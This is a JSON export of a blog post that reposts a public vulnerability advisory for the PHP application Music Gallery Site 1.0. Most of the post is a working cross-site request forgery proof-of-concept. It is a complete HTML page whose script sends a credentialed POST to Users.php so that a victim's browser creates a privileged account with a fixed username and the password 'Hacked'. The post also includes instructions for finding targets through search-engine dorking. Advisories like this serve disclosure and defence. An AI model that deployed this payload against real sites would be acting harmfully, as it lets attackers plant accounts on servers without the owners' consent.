{"id":59059,"date":"2024-08-21T17:51:04","date_gmt":"2024-08-21T14:51:04","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180298\/mgs10-xsrf.txt"},"modified":"2024-08-21T17:51:04","modified_gmt":"2024-08-21T14:51:04","slug":"music-gallery-site-1-0-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/music-gallery-site-1-0-cross-site-request-forgery\/","title":{"rendered":"Music Gallery Site 1.0 Cross Site Request Forgery"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Music Gallery Site v1.0 CSRF Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/php-music.zip |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following JavaScript code :<\/p>\n<p>creating a POST request using JavaScript to send certain data to a local server via HTTP. Here are the key points:<\/p>\n[+] Create an XMLHttpRequest object:<\/p>\n<p>xhr = new XMLHttpRequest(); Creates an XMLHttpRequest object that is used to send requests to the server.<\/p>\n[+] Open the request:<\/p>\n<p>xhr.open(&#8220;POST&#8221;, &#8220;http:\/\/127.0.0.1\/php-music\/classes\/Users.php?f=save&#8221;, true); Opens a connection to the specified URL (in this case, a local server) using the HTTP method &#8220;POST&#8221;.<\/p>\n[+] Set the request headers:<\/p>\n<p>xhr.setRequestHeader(&#8220;Accept&#8221;, &#8220;*\/*&#8221;); Specifies that the request accepts any type of response.<br \/>xhr.setRequestHeader(&#8220;Accept-Language&#8221;, &#8220;en-US,en;q=0.5&#8221;); Specifies that the request accepts responses in English.<br \/>xhr.setRequestHeader(&#8220;Content-Type&#8221;, &#8220;multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8220;); Specifies the content type of the request as multipart\/form-data with specified boundaries.<\/p>\n[+] Enable sending cookies:<\/p>\n<p>xhr.withCredentials = true; Specifies that cookies should be sent with the request.<\/p>\n[+] Setting up the request data:<\/p>\n<p>The body is set up using a string containing the form data parts. Each part contains information such as username, password, and type.<\/p>\n<p>This string is converted to a Uint8Array and then to a Blob to be sent.<\/p>\n[+] Sending the request:<\/p>\n<p>xhr.send(new Blob([aBody])); Sends the data to the server.<\/p>\n[+] User Interface:<br \/>There is a button inside the HTML form that calls the submitRequest() function when clicked, which executes the request.<\/p>\n[+] Go to the line 6. Set the target site link Save changes and apply . <\/p>\n[+] infected file : Users.php.<\/p>\n[+] Line 15 : Choose a name &#8220;indoushka&#8221;.<\/p>\n[+] Line 19 : Choose a password &#8220;Hacked&#8221;.<\/p>\n[+] save code as poc.html <\/p>\n[+] payload : <\/p>\n<p>&lt;!DOCTYPE html&gt; <br \/>&lt;html&gt; <br \/>&lt;body&gt;<br \/>&lt;script&gt; function submitRequest() <br \/>{ var xhr = new XMLHttpRequest(); <br \/>xhr.open(&#8220;POST&#8221;, &#8220;http:\\\/\\\/127.0.0.1\\\/php-music\\\/classes\\\/Users.php?f=save&#8221;, true); <br \/>xhr.setRequestHeader(&#8220;Accept&#8221;, &#8220;*\\\/*&#8221;); <br \/>xhr.setRequestHeader(&#8220;Accept-Language&#8221;, &#8220;en-US,en;q=0.5&#8221;);<br \/>xhr.setRequestHeader(&#8220;Content-Type&#8221;, &#8220;multipart\\\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8220;);<br \/>xhr.withCredentials = true; <br \/>var body =<br \/>&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n&#8221; + <br \/>&#8220;Content-Disposition: form-data; name=\\&#8221;username\\&#8221;\\r\\n&#8221; + <br \/>&#8220;\\r\\n&#8221; + <br \/>&#8220;indoushka\\r\\n&#8221; + <br \/>&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n&#8221; + <br \/>&#8220;Content-Disposition: form-data; name=\\&#8221;password\\&#8221;\\r\\n&#8221; + <br \/>&#8220;\\r\\n&#8221; + <br \/>&#8220;Hacked\\r\\n&#8221; + <br \/>&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n&#8221; + <br \/>&#8220;Content-Disposition: form-data; name=\\&#8221;type\\&#8221;\\r\\n&#8221; + <br \/>&#8220;\\r\\n&#8221; + <br \/>&#8220;1\\r\\n&#8221; + <br \/>&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\r\\n&#8221;; <br \/>var aBody = new Uint8Array(body.length); <br \/>for (var i = 0; i &lt; aBody.length; i++) <br \/>aBody[i] = body.charCodeAt(i); <br \/>xhr.send(new Blob([aBody])); <br \/>}<br \/>&lt;\/script&gt;<br \/>&lt;form action=&#8221;#&#8221;&gt;<br \/>&lt;input type=&#8221;button&#8221; value=&#8221;Submit request&#8221; onclick=&#8221;submitRequest();&#8221; \/&gt;<br \/>&lt;\/form&gt; <br \/>&lt;\/body&gt; <br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Music Gallery Site v1.0 CSRF Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/php-music.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following JavaScript code : creating a &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59059","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59059","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59059"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59059\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59059"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59059"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59059"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}